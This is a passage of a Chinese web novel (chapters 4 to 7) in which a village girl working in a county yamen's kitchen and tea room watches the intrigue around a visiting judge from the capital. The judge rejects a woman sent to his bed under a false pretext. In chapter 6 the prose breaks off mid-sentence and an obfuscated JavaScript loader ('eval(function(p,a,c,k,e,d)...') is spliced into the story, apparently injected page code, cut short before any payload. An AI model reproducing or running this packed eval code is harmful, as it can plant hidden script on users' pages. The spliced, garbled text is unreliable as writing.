“丫头？”八老叔公见她出神，唤了一声。 秦式微回过神来，抬起眼，看着八老叔公。灯光照在她脸上，那眉下一点小痣，衬得她眉眼温温婉婉的。 “老叔公，这差事，”她顿了顿，“我去。” 4. 上工 还香火正头这日，老早外边就是喧闹声。 天还没亮透，秦式微就赶了牛车晃晃悠悠上了路。 一路上，还能听见从三洞村那边传来的锣鼓声，渐渐远了，渐渐轻了，最后只剩下一片隐约的嗡嗡声。 到镇上时，日头已经升起来。 秦式微在街口下了车，熟门熟路往衙门那边走。绕过两条街，就看见那两扇黑漆大门了。门前的石狮子蹲着，张着嘴，露出石头刻的獠牙。有个皂隶靠在门边打盹，听见脚步声，抬起眼皮看了她一眼，又合上了。 她从侧门进去，穿过一道窄巷，就到了后厨的院子。 院子里已经站了七八个人，都是这几日一块儿当差的。有从县里挑来的，有从各村选来的，都是年轻整齐的小娘子，穿着素净的衣裳，规规矩矩站着。见她进来，有几个人抬头看了一眼，又垂下眼去。 秦式微往人堆里站了站，低着头，也不说话。 不多时，一阵脚步声传来。众人抬头，就见焦里正从月洞门那边过来，身后还跟着个皂隶。他脸色不大好看，眉头拧着，步子迈得又快又急。 到了阶下，他站定，扫了众人一眼，那目光跟刀子似的，从每个人脸上刮过去。 “今日贵客来临，”他开口，声音不高，却沉甸甸的，“万得小心恭谨！谁要是出了岔子，别怪我没提前打招呼，听明白了？” “听明白了。”众人齐齐应声。 焦里正看了一圈，怎么也不放心。这些都是从县里、底下的村里临时挑的人，看着整齐，但毕竟是泥腿子出身，谁知道会不会在贵人面前露怯？可事到如今，也没别的法子了。 外头的乐声越发大了，一阵阵传进来，是迎神的队伍已经上路了。焦里正竖着耳朵听了听，摆了摆袖：“仔细些，都散了吧。” 秦式微松了口气。她趁着转身的功夫，悄悄打了个哈欠，抬手在嘴边挡了挡。起得太早，这会子眼皮子直打架。 众人还没散开，钟婆子就来了。 她四十来岁年纪，穿着一身靛蓝褙子，头发梳得光溜溜的，一丝不乱。手里捏着个册子，站在阶上，清了清嗓子，开始派活。 “今儿个的活计，跟前几日不一样。前头贵客来了，得有人伺候茶水，有人收拾屋子，有人传菜递话。”她翻开册子，一条条念着。 念到茶房的时候，她顿了顿，抬眼往人群里看了一眼：“钟三娘，你来。” 人群里，一个年轻小娘子应声而出。她穿着件粉色的襦裙，领口绣着细碎的花，脸上抹了薄薄的脂粉，眉眼描得细细的，嘴角噙着笑。听见自己的名字，她袅袅婷婷地往前走了两步，脆生生应道：“是。” 那声音带着笑，怎么听都有几分得意。 钟婆子又念了几个名字，都是去前头茶房、厅堂伺候的。念完，她把册子一合，道：“其余人，后厨的往后厨，洗衣的往洗衣，各归各位。” 人群里响起一阵窸窸窣窣的声音，有人叹气，有人撇嘴。秦式微低着头，正准备往后厨走，就听见一声轻笑。 是钟三娘。 那笑声很轻，却清清楚楚飘进每个人耳朵里。她站在钟婆子身边，眼风往人群里一扫，在秦式微脸上停了一瞬，嘴角翘得更高了。 秦式微只当没看见，转身往后厨的方向走。 身后，钟婆子道：“三娘，跟我来。”钟三娘应了一声，脚步声跟着她去了。 其余人也各自散了。 往后厨的路上，同秦式微一道走的，还有个小娘子。她约莫十五六岁年纪，圆脸盘，眉眼生得浓，看着就是干活利落的人。她跟秦式微并排走着，气不打一处来，嘴里絮絮叨叨： “就那模样，还想往贵人跟前凑？也不拿镜子照照自己，那脸抹得跟糊墙似的，一股子香粉味儿隔着三条街都能闻见！” 秦式微听着，没接话。 那圆脸小娘子又说：“不就仗着自家姑婆是钟婆子吗？这差事是她派的，可不就把自己侄孙女往好地方送？咱这些人，就只能在后厨烧火、洗衣裳，连贵人的影儿都见不着。” 她说着，越发来气：“你知道她把我妹安排到哪儿去了？洗衣房！那水凉得刺骨，一泡就是一整天。我妹手都皴了。她倒好，往茶房里一坐，端茶递水，见的是贵人，赏钱也是她的。” 秦式微嗯了一声，继续走。 那小娘子又絮叨了一通，什么钟三娘眼高手低，什么她姑婆在衙门里当了二十年差，什么她娘逢人就说自家闺女要攀高枝了——说了一路，终于说完了。 这时候也到了后厨。 不大的院子，搭着个棚子，棚下垒着三眼灶，灶膛里火正旺。灶上的大锅咕嘟咕嘟冒着热气，两个厨娘正在里头忙活。案板上摆着菜，盆里泡着肉，地上堆着柴草，满院子都是烟火气。 那圆脸小娘子停住脚，回过头来看秦式微，脸上带着几分不平：“是个闷声不说话的，亏得我替你不平。” “你以为钟三娘为什么挤兑你？就你这张脸，虽说是黄了些，可那眉眼搁在那儿呢。她怕你往前头去，抢了她的风头。” 她说完就看着秦式微的神情，谁料后者笑了笑，道：“后厨也好啊，起码还能烤个栗子。” 说着，秦式微走到灶边，从袖子里摸出个布包，打开，里头是一小捧野栗子。她蹲下身，往火膛里塞了几个，用火钳拨了拨灰，盖上。 吕六娘看着她这一通操作，哼了一声，道：“吃的算什么，要是攀上那位贵人，什么山珍海味没有？就你眼皮子浅。” 她气得不说话了，蹲到柴草堆边，扒拉了两下捆起来的草束。可憋不住话，没过一会儿，又凑过来，压低声音道：“你可知那贵人是谁？” 秦式微正盯着火膛里的栗子，闻言抬起头来，看着她。 吕六娘见勾起了她的兴趣，脸上露出几分得意，声音压得更低了：“昨儿个我兄长同衙门里一个皂隶吃酒，问出来的。那位贵人啊——” 她顿了顿，卖了个关子，才道：“是从京师来的，姓陆，官居通判。据说出身大家，祖上出过尚书。人嘛……”她脸忽然红了，声音也软了几分，“听说一表人才，年纪轻轻就做到了六品官，往后前程大着呢。” 秦式微听着，心里动了动。 京师来的。姓陆。通判。 她在心里默默记下这几个字，面上却还是那副憨直的表情。 吕六娘说完，看着她的脸，有些失望。对面那张脸依旧是黄黄的，连红晕都没起，更别说惊喜了。她正想说什么，却见秦式微拿起旁边的火钳，从火膛里夹出几个栗子，黑乎乎的，冒着热气。 “你要吗？”秦式微把栗子递过来，问道。 吕六娘看着那几个栗子，再看看她那张波澜不惊的脸，一时间不知道该说什么。她心里头又是庆幸——庆幸这傻丫头不开窍，不会跟自己抢；又是酸——酸她白瞎了这张脸，要是自己有这容貌，早就…… 她哼了一声，别过脸去：“不要。” 秦式微也不勉强， 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秦式微听着，手上没停。这菜式在村里是顶好的了，可在那京师来的贵人眼里，怕也就是寻常。 日头渐渐升到头顶。菜做好了，一道道盛出来，用笼屉扣着，温在灶上。 到了时辰，前头来人传话，说要上菜了。厨娘挑了几样清淡的——清蒸鲈鱼、炒时蔬、鸡汤，并几碟酱菜，装进食盒里，让人送往前头去。大菜还温着，红烧肉、炖羊肉都没动。 看来人还没到。 秦式微往灶膛里添了把柴，火光照在她脸上，明明灭灭的。 前头衙门里。 甘县令他们在城外等了半日，一直等到日头升高，都不见通判的车架，只得先回衙门。派了人在县外守着，一有消息就传回来。 这会子饭摆上了，甘县令却没什么胃口。他拿着筷子，拨了两下碗里的饭，又放下了。 “后边安排好了？”他问焦里正。 焦里正垂手站在一旁，恭声道：“都妥当了。客房收拾出来了，热水备着，伺候的人也都挑好了，都是仔细本分的。” 甘县令点点头，眉头却没松开。他挥了挥手，屏退左右，只留下焦里正。 待人都出去了，他才压低声音问道：“你说，他会不会是来查那件事？” 焦里正做了他十几年心腹，知道这位东主的胆子不大，遇事就容易想多。他往前凑了凑，也压低声音劝道：“大人宽心。那事都完了，善后也做得干净。再说，长垦县的消息明明白白的，通判大人此番前来，确是为了考察户籍一事。” “是，是。”甘县令听他这么说，连连点头，“户籍是要紧事，上头催得紧。嗯……得仔细些，不能出差错。” 他刚把心放回肚子里，外头忽然传来一阵急促的脚步声。紧接着，门被推开，一个皂隶闯了进来，扶着门框，大口喘气。 甘县令腾地站起来：“怎么了？” 那皂隶喘了好几口气，才磕磕绊绊道：“大、大人！通判大人进城了！” “如今人在何处？”甘县令惊诧问道，这怎么一点动静都没有就进城了？ 那皂隶缓过气来，回道：“回大人，通判大人的车架一刻钟前就进城了。可、可没往县衙来，直接往城外去了。小的让人跟着，方才回来报信，说是往三洞村去了！说是久闻还香火的热闹，先去凑一凑。” 甘县令愣了一愣，随即回过神来，忙往外走：“快速速牵马车来！” 焦里正也跟上去，一边走一边吩咐人备马。 5. 心思 等到他们赶到三洞村时，还香火的队伍正行到热闹处。 远远的，就看见村口乌压压站满了人。锣鼓声震天响，鞭炮噼里啪啦炸着，硝烟味顺着风飘过来。各色彩旗在日头底下飘着，红的、黄的、绿的，旗杆顶上垂着长长的飘带，风一吹，呼啦啦响。 执事队正往山门里进。 最前头是栓着红腰巾的仪仗队开道，一个个精壮汉子，腰板挺得笔直，手里举着各色旗幡。接着是成双成对的龙头、金瓜、斧钺、偏戟、云牌、大刀、长矛——都是木头做的，漆得金晃晃的，在日头底下耀眼得很。 紧接着是金顶红罩的神楼，里头供着三神娘娘的神像，看不真切，只隐隐约约看见金面朱衣，端坐其中。神楼四角挂着铜铃，叮叮当当响着，清脆悦耳。神楼前后，有二十四根护庙棍排列两行，都是年轻后生，腰间系着红布，棍子杵在地上，咚咚响。 护庙棍后头，青壮汉抬着用红绸扎着的木桌，上边是香器、祭器、香表纸炮和各式供品——整猪整羊、时鲜瓜果、面点糕饼，满满当当摆了一桌又一桌。再后头，两班乐户跟在后头，吹吹打打，笙管笛箫，锣鼓铙钹，热闹非凡。 队伍继续往里走，穿过山门，进入献殿。殿前摆着长长的供桌，铺着红布，上头摆满了供品。在法器声、乐声、钟鼓声及鞭炮声中，众人上香祭酒，三叩九拜，动作齐整，一丝不苟。 最引人注目的，还是那三神妃的鸾驾。 鸾驾用彩漆涂得金碧辉煌，四面垂着珠帘，风吹过，珠子轻轻碰撞，发出细碎的声响。神妃端坐其中，穿着大红袍，头戴几点翠，垂目下视，眉眼间尽是悲悯之意。 她脸上敷了粉，唇上点了胭脂，眉间贴了花钿，手里拎着药篮，里头还放了五谷稻穗，整个人端庄慈悲。仔细看，她颈间系着一条青灰色的素缎披帛，上头绣着隐隐的云纹。 鸾驾缓缓从人群前经过，两旁的人纷纷跪倒，磕头焚香，念念有词。神妃的目光从他们身上掠过，依旧是那副慈悲模样，看不出喜怒。 这样的场景，甘县令看过好几回。每年还香火都是这一套，热闹归热闹，看多了也就那样。他收回视线，往不远处屋舍前的木桌旁望去。 他要寻的人，就在那里。 那人穿着一袭玄色织金云纹的官袍，腰束玉带，头发以玉冠束起，他斜斜靠在椅背上，一手端着茶盏，正看着那边热闹的人群，薄唇微微勾着，像是在笑。 似乎察觉到甘县令的目光，他侧了些脸，闲闲一瞥，却重如千钧。 甘县令只觉脊背一凉，不敢逼视。 他想起长垦县县令——那是他曾经的同窗，给自己捎来的信里，只写了一句话： “威重艳多，心似淬毒。” 甘县令当时还不大明白这话的意思。如今见着这人，只一眼，他便懂了。 他定了定神，快步上前，躬身行礼：“下官见过陆大人。” 陆闻涉收回目光，把茶盏往桌上一放，语带笑意：“今个儿天也不算热，怎我瞧着甘大人出了身汗？” 甘县令一愣，这才发觉后背冷汗潸潸而下，已经湿了里衣。他抬手擦了擦额上的汗，陪笑道：“大人见笑了。下官身子骨弱，一到天热就容易出虚汗，不是什么大毛病。” “哦——”陆闻涉拖长了声音，似笑非笑地看着他，“身子不好，可得仔细养着。本官来溪头乡时，知州大人特地说了，溪头乡政通人和，本官一路走来，所见确实不虚。这都是甘大人治理有为，更要保重身体才是。” 甘县令听了这话，受宠若惊，连连躬身道：“大人谬赞，下官愧不敢当。这都是知州大人栽培，大人抬爱，下官不过是恪尽职守，尽本分罢了。” 陆闻涉没再说话，目光越过他，看向那神妃鸾驾的方向。 甘县令顺着他的目光看过去，以为他对这还香火有兴趣，便主动解释道：“那是吴家闺女，在村里也是拔尖的，品行也好，所以今年点了她扮三神妃。” 陆闻涉嗯了一声，忽然问道：“去年也是她？” 甘县令一愣，没想到他会问这个，忙道：“不……不是。去年是别家闺女。今年出了些事，不好再让她扮。” “什么事？” “家里有人过世，带了孝。”甘县令答道，又下意识摸了摸额上的冷汗。 陆闻涉听了，没再问，只点了点头，目光又转向那鸾驾，不知在想什么。 甘县令等了一会儿，见他没有再开口的意思，也不好贸然说话，只得垂手站在一旁。 锣鼓声还在响，戏台上的唱腔一波波传过来，人群的欢呼声此起彼伏。 好容易等到还香火的仪程结束，陆闻涉起身，说回衙门。甘县令如蒙大赦，忙让人备车，一路陪着回了县衙。 将陆闻涉送到客房，吩咐人好生伺候着，甘县令这才告退出来。 他一出院子，就拉着焦里正进了后衙，把门关上，压低声音问道：“你方才看见没有？他问那神妃的事，什么意思？” 焦里正想了想，道：“或许是随口一问？” “随口一问？”甘县令摇摇头，额上又有冷汗渗出来，“不对。他若是随口一问，问完就该撂开手。可他问完，又问了去年是谁，又问为什么换人——这不是随口一问，这是上了心。” 焦里正不解：“下官驽钝，可那有什么可上心的？不过是个乡下丫头扮神妃。” “我就是不知道才问你！”甘县令急了，“你说，他会不会是借着这事，打听别的什么？” 焦里正沉默了一会儿，道：“大人，这位陆大人，心思是难测了些。可咱们的事，跟那神妃八竿子打不着。他就是问一千遍，也问不出什么来。依我看，大人不必过于忧心，且看看再说。” 甘县令叹了口气，道：“也只能这样了。” 他摆摆手，让焦里正退下。 客房那边，陆闻涉进了屋，没急着歇息。 他走到桌边，坐下，从袖中取出一封密函，展开，研墨提笔，开始写字。 长随良平跟进来，悄无声息地吩咐人抬热水。他知道主子的习惯，写东西的时候不许人打扰，写完正好沐浴。他算了算时辰，不多不少，刚刚好。 陆闻涉写完最后一个字，放下笔，把密函折好，收入袖中。良平这才上前，道：“大人，热水备好了。” 陆闻涉点点头，起身去沐浴。 浴房在客房后头，不大，却收拾得干净。木桶里热气腾腾，水上漂着几片干花瓣，是衙门里备的。陆闻涉看了一眼，没说什么，解开衣袍，浸入水中。 热水漫过肩头，他闭上眼睛。 想着方才写的有无纰漏，还有甘鸿光的反应。 洗完出来，换了身素净的中衣，头发半干，披散在肩头。他挥了挥手，让良平等人退下，准备歇息。 良平带着人退出去，把门带上。 屋里安静下来，只有窗外的月光透过窗棂，在地上投下淡淡的影子。陆闻涉走到床边，掀开锦被—— 他的动作顿住了。 被窝里躺着个人。 那是个女子，穿着薄薄的寝衣，蜷缩在被中，露出一截白皙的脖颈。她似乎感觉到了动静，颤巍巍地掀开锦被，露出脸来。 那张脸抹着脂粉，眉眼描得细细的，双颊晕开绯色。她下了床，跪在地上，声音娇软：“是县令命我来伺候大人的。” 说完，她略一抬脸，露出一双含羞带怯的眼睛，痴痴地望着面前的人。 陆闻涉低头看着她。 灯火落在他脸上，那眉眼那薄唇，都是精致得不似真人。可此刻，那张脸上没有一丝表情，只眼底深处，有什么东西在涌动。 钟三娘跪在地上，仰头看着他，心跳如鼓。 方才在屋里等着的时候，她想过无数种可能。她想，这位大人见她生得好，定然会喜欢；她想，就算不喜欢，也不敢驳了县令的面子；她想，只要今夜成了事，往后…… 可此刻，她忽然有些不肯定了。 那人站在月光里，一动不动地看着她。那目光落在她脸上，仿佛在等她把戏演完。 钟三娘心里头那股得意，渐渐被不安取代。她咬了咬唇，又唤了一声：“大人……” 陆闻涉忽然开口：“你方才说，是县令命你来的？” 他的声音很轻，听不出喜怒。 钟三娘忙点头，又垂下眼，做出羞怯模样：“是。县令大人说，陆大人远道而来，身边没人伺候，让民女来服侍大人。” 陆闻涉嗯了一声。 他转身，不紧不慢地走到桌边，在椅子上坐下。月光照不到那里，他的脸隐在暗处，只看得见一个模糊的轮廓。 “你叫什么名字？”他问。 钟三娘跪在地上，有些不知所措。她本以为这人会叫她起来， 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“本官这些年，遇见过不少自荐枕席的事。”他的声音从暗处传来，不疾不徐，“有托人递话的，有递帖子的，有在宴席上借酒装疯的，有在路上偶遇的。花样百出，各有各的门道。” 他顿了顿，语气里带了几分玩味：“可像你这般，直接躺进被窝里，还说是县令命你来的——倒是头一回见。” 钟三娘的脸腾地红了。那红不是羞的，是臊的。 她张了张嘴，想辩解，可话到嘴边，却一个字也说不出来。 “你倒是说说，”陆闻涉道，“甘县令命你来的时候，是怎么跟你说的？是在什么地方见的你？身边都有谁？什么时辰？” 他一连问了几个问题，每一个都问得轻飘飘的，可每一个都像钉子，钉在钟三娘心上。 她答不出来。 她压根儿就没见过县令。 这一切，都是姑婆的主意。 姑婆说，县令胆小怕事，巴结这位大人都来不及，就算事后知道了，也不会说什么，只会当不知道。姑婆说，这位大人年轻，血气方刚的，见着女人往被窝里钻，哪有不动心的？姑婆说，只要成了事，往后就是享不尽的富贵。 可姑婆没告诉她，这人会是这样的。 他不动心，更不动怒，却让人心里发慌。 “怎么？”陆闻涉的声音又响起来，“答不出来？” 钟三娘跪在地上，浑身发颤。 “罢了。” “本官不问你。”陆闻涉走到门边，拉开门，“来人。” 门被推开，良平快步进来。看见地上跪着的女子，他愣了一愣，心里猜到几分，随即低下头去，恭声道：“大人。” 陆闻涉没有再看钟三娘一眼，转身往窗边走去。那背影修长挺拔，却透着一股说不出的冷意。 “送回去，”他淡淡道，“如实告诉甘县令。” “是。”良平转身，让人进来。 “大人——”钟三娘被吓着，连忙朝着陆闻涉的背影喊道，楚楚可怜。 良平则毫不留情的让人把钟三娘从地上拉起来，给她塞了块布堵住口舌，又裹了件外衣，拖出门去。 门在身后关上。 屋里重归寂静，但外头又热闹起来了。 良平办事很快。 不到半个时辰，他便回来了。轻轻叩了叩门，听见里头说“进来”，便推门进去。 屋里没点灯，月光照着，能看见主子坐在案后。 “查清楚了？”陆闻涉问。 “查清楚了。”良平垂手站在门边，低声道，“那女子姓钟，是本县钟婆子的侄孙女。钟婆子在衙门里当差二十年，管着后厨那一摊子。这回县里挑人来伺候，她把侄孙女塞了进来。” 他顿了顿，又道：“今儿个夜里，是钟婆子把人领进来的。她跟门房说，是奉了县令的命，给大人送些自家做的点心来。门房没敢拦，她就带着人进来了。进了院子，她把人往屋里一送，自己就走了。” 陆闻涉听着，没说话。 “那钟婆子，”良平继续道，“在衙门里人缘不错，跟焦里正也说得上话。今儿个这事，她怕是打的这个主意——若是成了，她侄孙女攀上高枝，她也跟着沾光；若是不成，就说是一场误会，反正门房那边也只知道是送点心的。” 陆闻涉嗯了一声，神色辨不清喜怒。 “下去领罚。” 6. 泡茶 这县衙前后都透着风，况且上头的人也似乎忘了一般，没刻意去瞒消息。 昨儿个的事早就传开，秦式微刚踏进灶房，又从袖子里摸出今早带的一块杂粮饼子，才咬了一口，吕六娘就风风火火地进来了。 她手里也拿着个菜包子，却不急着吃，四下里张望了一圈，见厨娘还没来，便拉了张杌子往秦式微身边一坐，凑过来压低声音道：“你可听说了？” 秦式微看着她那副模样——眼睛亮得跟捡了钱似的，嘴角压都压不下去，分明是憋了一肚子话要说。她咬了饼子，含糊道：“什么？” “昨儿个夜里的事！”吕六娘压着声，可那兴奋劲儿从每个字里往外冒，“钟三娘那事！” 吕六娘自顾自说起来，绘声绘色的，跟亲眼见着似的：“昨儿个半夜，她被人从陆大人屋里送出来的！衣裳都不整，披着件外衣，头发散着，脸上哭得跟花猫似的。她姑婆钟婆子，挨了十大棍，当场打得皮开肉绽，被人架出去的。十大棍！我听说打得那叫一个狠，血糊糊的，往后怕是连路都走不利索了。” 她说着，脸上那幸灾乐祸的劲儿，遮都不想遮，眉眼都舒展开了，跟大夏天喝了碗冰水似的痛快。 “解气！”她一拍大腿，“叫她狂！叫她仗着姑婆是管事，把咱们往后厨塞！活该！这下可好，别说攀高枝了，连脸都丢尽了。往后她在这县里还怎么做人？我要是她，直接找根绳子上吊得了。” 秦式微听着，心里头惊讶。 也算是雷霆手段了，钟三娘经了此事，不好嫁人，还有钟婆子，如吕六娘所说，去了半条命。 不过那位陆大人怕是没想到，这穷乡僻壤的，竟有人敢用这般蠢笨的手段。直接往被窝里躺，还假借县令名义——真真是乱拳打死老师傅，任他见过多少世面，也没见过这样的。 吕六娘说了半天，见她没什么反应，有些不乐意，推了推她胳膊：“你怎么不说话？” 秦式微抬起头，憨憨地笑了笑：“还没睡醒，脑子钝。” 吕六娘撇撇嘴，正要说什么，灶房外头忽然进来个人。 那是个穿着褐色细布褙子的婆子，头发梳得一丝不乱，插着根素银簪子，脸上带着笑，眼角满是笑纹，瞧着比钟婆子随和多了。可她那双眼，往灶房里一扫，就跟把刀子似的，轻轻巧巧就把人刮了一遍。 正巧外头两位厨娘正说着小话进来，撞见她，脸上的笑意立刻敛了，恭恭敬敬垂手道：“丁管事。” 秦式微心里一动。 丁管事点了点头，没说什么重话，只笑吟吟道：“今儿个天热，灶房里头火气旺，都仔细些，别中了暑气。该烧火的烧火，该择菜的择菜，各归各位。老婆子初来乍到，不懂你们这儿的规矩，可有一条是知道的——当差的嘴，最好比灶膛里的灰还严实，烧过了就什么都没了。” 她说话声儿不高，甚至带着笑，可那话里的意思，谁都听得懂——别聚着说闲话，该干什么干什么去。灶房里几个婆子互相看了一眼，都低下头去。 两个厨娘应了，赶紧往灶台那边去。 吕六娘趁着丁管事还没往这边看，赶紧凑到秦式微耳边，飞快道：“这是老夫人身边的丁管事。昨夜杜夫人病了，管不了事，县令便去请示早已在佛堂吃斋念佛的老夫人。老夫人便指了丁管事来打点这摊子。” 秦式微听着，心里又动了动。 杜夫人病了？ 她想起第一回来上工时见过的那位杜夫人——三十来岁的年纪，生得富态，来灶房巡查，站那儿胡乱指点了一通，说话嗓门大，跟甘县令那副唯唯诺诺的模样截然相反。 那样的一个人，竟会在这个时候病倒？ 她想起昨儿个夜里的事，忽然明白了什么。 钟婆子敢假借县令名义，把侄孙女往陆大人屋里送——这事儿背后，怕是不只是她自己的主意。说不准，还是得了令的。 只不过得的是夫人的令。 是真病，还是不得不病了？ 她正想着这些，余光瞥见丁管事往这边走来。她赶紧收回思绪，垂着眼，装出一副老实本分的模样。 丁管事走到她们跟前，站定，目光在两人脸上来回打量了一番。那目光不重，却让吕六娘下意识挺直了腰板。 “听郑婆子说，你们都会煮茶？”丁管事开口问道。 郑婆子也是三洞村出身，年轻时是采茶女，一手茶艺在这县里都叫得上号。秦式微因缘巧合，跟她学过一阵子。吕六娘家里头是卖茶的，打小就会。 吕六娘闻言，脸上那惊喜的劲儿藏都藏不住，跟捡着宝似的。她赶紧站起来，脆声道：“是！奴婢打小就会煮茶，家里头开过茶铺，什么茶该用什么水温、泡多久，都门儿清。奴婢还会点茶，虽说不比那茶坊里的师傅，可也差不了多少。丁管事要是信得过奴婢，奴婢定好好伺候，绝不出岔子。奴婢嘴也严，不该说的一个字都不会往外说，手脚也勤快，保准让那位陆大人满意。” 她一骨碌话说得又快又脆，跟倒豆子似的，恨不得把自己会的、能的一股脑全抖落出来。 秦式微等她说完，才慢吞吞站起来道：“我手脚笨，都听管事的。” 她垂着眼，一副老实巴交的模样，脸上那层黄粉衬得她愈发不起眼。 丁管事看看吕六娘——机灵，会看眼色，嘴也甜，抢着表现；又看看秦式微——憨笨，少言，问一句答一句，看着就是个老实本分的。 放在平常，任谁都会选前者。 可丁管事想着昨夜的事，心里头便有了计较。 夫人真是糊涂。那样蠢笨的主意，也敢往外使。她还真当人人都是那贪色的，见着女人往被窝里钻就迈不动腿？那位陆大人是什么人？京里来的，年纪轻轻做到六品通判，什么场面没见过？什么样的美人没见过？ 使这样的招，简直是打人家的脸。 夫人自以为是为老爷好，可也不想想，那位陆大人要是追究起来，老爷怎么交代？ 老夫人昨夜临睡前听到这事，气得直念佛，说娶了个没脑子的，真是坏了一窝。 这会子让她来打点这摊子，她可得擦亮眼。往后这几日，不能再出半点岔子。挑人伺候，不求多机灵，只求本分、稳当。 太机灵的，心思活络，反倒容易生事。 她目光在两人身上又过了一遍，最后落在秦式微身上。 “你随我来吧。”丁管事道。 秦式微抬起头，忖度片刻就明白丁管事的心思，应了一声：“是。” 吕六娘脸上的笑僵住了。 她看看丁管事，又看看秦式微，张了张嘴，想说什么，可丁管事已经转身往外走了。秦式微跟在后头，经过她身边时，她狠狠剜了秦式微一眼，那眼神跟刀子似的，恨不得剜下块肉来。 秦式微只当没看见，低着头走了出去。 身后，吕六娘气得直跺脚。 秦式微跟着丁管事穿过一道月洞门，走过一条长廊，到了茶房。 茶房不大，却收拾得干净整齐。靠墙一排架子，摆着各式茶具——有紫砂的、有瓷白的、有粗陶的，大小不一。窗下砌着个小小的风炉，炉上坐着铜铫，铫里水正咕嘟咕嘟响着。 郑婆子正在里头忙活，见丁管事进来，忙放下手里的活计，笑道：“丁管事来了。” 丁管事点点头，把秦式微往前带了带，道：“往后她便在茶房当差。” 郑婆子见是秦式微，眼睛一亮，脸上笑意更深了：“好，好，丁管事放心，老婆子定好好教她。” 丁管事嗯了一声，又看了秦式微一眼，叮嘱道：“本分做事，别多嘴，别多事。” 秦式微垂首应道：“是。” 丁管事这才转身走了。 待她走远，郑婆子一把拉住秦式微的手，上上下下打量着她，又看看她的脸，皱起眉头：“你这是去灶灰里滚了一圈？怎的这么黄？” 秦式微无奈地笑了笑。她跟郑婆子熟，倒不好一直装下去，日后黄粉要慢慢减了，嘴上只道：“这些日子肠胃不大好，脸色就差些。” 郑婆子心疼地看着她，叹了口气：“也是，你娘刚走，一个人操持，哪能好？往后有什么事，只管跟婆婆说。” 她说着，又高兴起来，拉着秦式微往里走，絮絮叨叨道：“还是丁管事人好。我同她说了你煮茶手艺极好，她便挑了你。不像那个钟婆子——” 她哼了一声，显然还在气头上，想到第一日钟婆子那张棺材脸，就气得很：“什么公是公私是私，不就是想把那个侄孙女塞进来吗？她那侄孙女，煮个茶能把茶壶打翻，也配进茶房？这会子可好，自己作死，连累她姑婆一块儿滚蛋。活该！” 秦式微听着，笑了笑，随后岔开话题，两人又聊了些闲话，她走到风炉边，看了看铜铫里的水，又看了看架上的茶叶，随口问道：“婆婆，那位陆大人，喜欢喝什么茶？” 郑婆子一听，脸上的笑意敛了几分，叹气道：“别提了。这位陆大人，不爱喝茶。” “不爱喝茶？”秦式微愣了愣。 “可不是。”郑婆子道，“我在这儿候了两日，他要过一回茶，是昨儿个半夜要的碗浓茶。我煮了送过去，也不知他喝没喝。其余时候，都是要的白水。” 她指了指架上一只白瓷茶盏，里头泡着半盏茶：“你尝尝，这是昨儿个我煮的，剩了半盏。味儿还成吧？” 秦式微端起茶盏，呷了一口。 茶是好茶，春茶，火候也正好，不涩不苦，回味还带着点甘甜，放在他们这地头算是很好了，她放下茶盏，道：“味儿很好。” “我也觉得好。”郑婆子道，“可人家不喝。” 秦式微心里琢磨开了。 她这几日在灶房烧水，发现一件怪事——那位陆大人，用水用得多得离谱。旁的大人住进来，一日也就两三桶热水，洗漱饮用足够了。可这位陆大人，从早到晚，热水一桶一桶往他院子里送，光是昨儿个一日，就送了七八桶。 她当时还纳闷，一个人怎么能用这么多水？ 这会子想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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茶房在前后院之间，人来人往的，又能来回走动。若是在这儿当差，打听消息，可比在后厨方便多了。 她定了定神，端着茶托，由小厮带着往陆大人的院子走去。 穿过一道月洞门，绕过一座假山，便到了陆大人的院子。院子不大，收拾得干净，几竿竹子种在墙角，风吹过，沙沙响。 她正要往里走，忽然被人拦住。 那是个年轻男子，穿着青灰色长袍，面容清隽，瞧着二十来岁的年纪。他站在院门口，伸手一拦，目光落在她手里的茶托上。 “给我吧。”他道。 秦式微没见过这人，但猜应当是陆大人身边的长随。 她心里一松，这倒省事。她垂首，将茶托递过去：“是。” 良平接过茶托，看了她一眼，没说什么，转身往里去了。 秦式微也没等，直接转身往回走。 屋里头，陆闻涉正压着三分火气。 今儿个一早，甘鸿光陪他去查往年的账册。他翻了一上午，一页一页看过去，竟没看出什么破绽来。账面做得平平整整，收入支出都对得上，该有的凭证一张不少，该盖的章一个不落。 太干净了。 干净得不像真的。 他知道甘鸿光这人——胆小，怕事，脑子也不算灵光。这样的人，若真有什么猫腻，账册上不可能做得这般滴水不漏。除非有人指点过，有人在背后替他收拾干净。 甘鸿光在一旁陪着，额上汗珠就没断过。他一边拿袖子擦汗，一边陪着笑脸，小心翼翼地问：“大人，可看出什么不妥？” 陆闻涉没理他，只把账册合上，往桌上一扔。 甘鸿光吓得一哆嗦，也不敢再问。 出了账房，甘鸿光又陪着他往回走，一路上点头哈腰，恨不得把脸笑成一朵花。陆闻涉知道他在想什么——赶紧把这座大佛送走，越快越好。 他心里冷笑。 哪有这么容易？ 良平端着茶进来，放在案上。 陆闻涉也没像往常那般不动，随手端起，往嘴边送—— 茶是温的。 恰到好处，不烫口，也不冰牙，入口正好。他一口气喝下半盏，那股烦闷的火气，竟被这温温的茶水浇熄了几分。 他又喝了一口，才放下茶盏。 “这茶是谁煮的？”他忽然问。 良平正垂手站在一旁，闻言一愣，随即小心道：“方才是个新来的丫鬟送的。奴这就去问问？” 陆闻涉沉默了一瞬。 他想起方才那盏茶的温度——不烫不凉，刚刚好。在这闷热的午后，喝上这么一盏，比什么降火的药都管用。煮茶的人，知道他在外头晒了半日，知道他现在最需要的是什么。 这样的人，倒是少见。 可他想了想，又觉得不必。 不过是一盏茶罢了。 “不用了。”他道。 良平应了一声，不再多话。 陆闻涉又端起茶盏，将剩下的半盏也喝了。 茶汤入口，清冽甘甜，余味悠长。 7. 赏赐 自那日后，要茶的次数就渐渐多了起来。 多数送去的茶都是秦式微泡的，郑婆子乐得清闲，但凡有人叫茶，便推了她去。秦式微也不好推辞，只得应了。 这日午后，郑婆子正拉着她说话，忽然端详着她的脸，笑道：“这几日气色倒好了，脸上白净不少。” 秦式微摸了摸脸，因着有郑婆子这个熟人，她不好继续抹黄粉装下去，只笑道：“茶房虽算不上什么金贵地方，可送的饭菜比别处好上两分，油水足些，自然养人。” 